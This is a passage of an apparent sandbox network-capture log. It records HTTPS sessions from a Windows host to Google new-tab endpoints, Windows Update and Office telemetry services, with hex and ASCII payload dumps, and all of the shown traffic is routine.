E4wM1RMeGxka3ZyVVNNcmVUNTU4dk1GVGozb004YlhVTjRzMStMR2F6cyt5QUVjQ1FMNkJjVUsxZTVNbDQxdWtvOU5vSFBQK3E0SFc3eTVHMjNoMlpPTXNmRDZVYTZQNmQvRzNUWE4zbG8wYkxrL3FQcFdGRnRoWnpwV2FiK3pYVHZoenJVa3lqOCt6bFpWOXRtRkg3L2VvVTJKVXp2MnNPTStScTBmR3ZXa3RlbmswMk5nSmI2VURhRGpFU0VF
2024-11-17 11:35:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	142.250.74.196	443	5508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 11:35:18 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 11:35:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 11:35:18 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-17 11:35:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49713	142.250.74.196	443	5508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	526	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCJDKzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 11:35:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 11:35:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 11:35:19 UTC	360	IN	Data Raw: 33 62 36 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 3b6b)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 Data Ascii: 3e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u0
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 Data Ascii: u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u0
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d Data Ascii: index\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d Data Ascii: ,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 35 37 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c Data Ascii: 1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700257,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_val
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 3b 5f 2e 4a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 74 20 62 5c 75 30 30 33 64 61 2e 6c 65 6e 67 74 68 3b 69 66 28 62 5c 75 30 30 33 65 30 29 7b 63 6f 6e 73 74 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 4c 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 4b 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 Data Ascii: ;_.Jd\u003dfunction(a){const b\u003da.length;if(b\u003e0){const c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Ld\u003dfunction(a){return new _.Kd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 28 62 3f 62 2e 63 72 65 61 74 65 53 63 72 69 70 74 55 52 4c 28 61 29 3a 61 29 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 59 64 29 72 65 74 75 72 6e 20 61 2e 69 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 65 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4e 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c Data Ascii: (b?b.createScriptURL(a):a)};_.$d\u003dfunction(a){if(a instanceof _.Yd)return a.i;throw Error(\"F\");};_.be\u003dfunction(a){if(ae.test(a))return a};_.ce\u003dfunction(a){if(a instanceof _.Nd)if(a instanceof _.Nd)a\u003da.i;else throw Error(\"F\");else a\
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2c 61 3f 61 5c 75 30 30 33 64 28 62 7c 7c 63 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 28 62 5c 75 30 30 33 64 62 7c 7c 63 2c 61 5c 75 30 30 33 64 28 61 3f 62 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 61 3f 5c 22 2e 5c 22 2b 61 3a 5c 22 5c 22 29 3a 62 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 2a 5c 22 29 29 5b 30 5d 7c 7c 6e 75 6c 6c 29 29 3b 72 65 74 75 72 6e 20 61 7c 7c 6e 75 6c 6c 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 Data Ascii: c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocument,a?a\u003d(b\|\|c).querySelector(a?\".\"+a:\"\"):(b\u003db\|\|c,a\u003d(a?b.querySelectorAll(a?\".\"+a:\"\"):b.getElementsByTagName(\"*\"))[0]\|\|null));return a\|\|null};\n_.pe\u003df
2024-11-17 11:35:19 UTC	1378	IN	Data Raw: 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 66 2e 69 74 65 6d 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3f 5f 2e 4a 64 28 66 29 3a 66 2c 64 29 7d 7d 3b 5c 6e 5f 2e 75 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 5f 2e 72 65 28 64 6f 63 75 6d 65 6e 74 2c 61 29 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 62 5c 75 30 30 33 64 53 74 72 69 6e 67 28 62 29 3b 61 2e 63 6f 6e 74 65 6e 74 54 79 70 65 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 28 62 5c 75 30 30 33 64 62 2e 74 6f 4c 6f 77 65 72 Data Ascii: u003d\"number\"\u0026\u0026typeof f.item\u003d\u003d\"function\"?_.Jd(f):f,d)}};\n_.ue\u003dfunction(a){return _.re(document,a)};_.re\u003dfunction(a,b){b\u003dString(b);a.contentType\u003d\u003d\u003d\"application/xhtml+xml\"\u0026\u0026(b\u003db.toLower

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49714	142.250.74.196	443	5508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:18 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-17 11:35:19 UTC	933	IN	HTTP/1.1 200 OK Version: 696014727 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sun, 17 Nov 2024 11:35:18 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-17 11:35:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-17 11:35:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=+GYF7r+LDPyZfxD&MD=V+w7pNhc HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-17 11:35:20 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 0929ba5e-fa48-4851-9a9a-2a46e6c81d94 MS-RequestId: 320770bb-12f8-4a6d-b8d9-6c020672e785 MS-CV: 5X7Xdbuv60WfJ6E7.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 17 Nov 2024 11:35:19 GMT Connection: close Content-Length: 24490
2024-11-17 11:35:20 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-17 11:35:20 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.5	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:20 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:20 UTC	492	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:20 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: 1f2ca79a-801e-0015-0d8f-38f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113520Z-16547b76f7fhv4d5hC1DFW7h0n00000002mg000000005x7e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:20 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
